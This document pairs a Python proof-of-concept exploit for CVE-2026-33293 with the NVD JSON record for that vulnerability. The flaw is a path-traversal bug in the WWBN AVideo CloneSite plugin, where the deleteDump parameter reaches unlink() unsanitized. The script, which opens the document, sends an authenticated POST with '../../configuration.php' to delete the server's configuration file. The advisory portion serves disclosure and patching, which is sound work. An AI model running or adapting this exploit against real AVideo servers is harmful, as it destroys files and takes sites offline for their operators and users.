CVE-2026-33293

import requests # Target URL (replace with actual target) target_url = "http://example.com/plugin/CloneSite/cloneServer.json.php" # Attacker needs valid credentials/session (PR:L requirement) # Assuming session cookie or token is required based on description cookies = { "PHPSESSID": "valid_session_id_here", "user": "valid_user_token_here" } # Payload using path traversal to delete configuration.php payload = { "deleteDump": "../../configuration.php" } try: response = requests.post(target_url, data=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if file is deleted.") print("[+] Response:", response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] An error occurred:", e)

{"cve": {"id": "CVE-2026-33293", "sourceIdentifier": "[email protected]", "published": "2026-03-22T17:17:08.950", "lastModified": "2026-03-24T21:14:05.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. Prior to version 26.0, the `deleteDump` parameter in `plugin/CloneSite/cloneServer.json.php` is passed directly to `unlink()` without any path sanitization. An attacker with valid clone credentials can use path traversal sequences (e.g., `../../`) to delete arbitrary files on the server, including critical application files such as `configuration.php`, causing complete denial of service or enabling further attacks by removing security-critical files. Version 26.0 fixes the issue."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. Antes de la versión 26.0, el parámetro 'deleteDump' en 'plugin/CloneSite/cloneServer.json.php' se pasa directamente a 'unlink()' sin ninguna sanitización de ruta. Un atacante con credenciales de clonación válidas puede usar secuencias de salto de ruta (p. ej., '../../') para eliminar archivos arbitrarios en el servidor, incluyendo archivos críticos de la aplicación como 'configuration.php', causando una denegación de servicio completa o habilitando ataques adicionales al eliminar archivos críticos para la seguridad. La versión 26.0 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.0", "matchCriteriaId": "B468F0CE-E5E7-4607-BD15-B5763C47493E"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/941decd6d19e2e694acb75e86317d10fbb560284", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-xmjm-86qv-g226", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}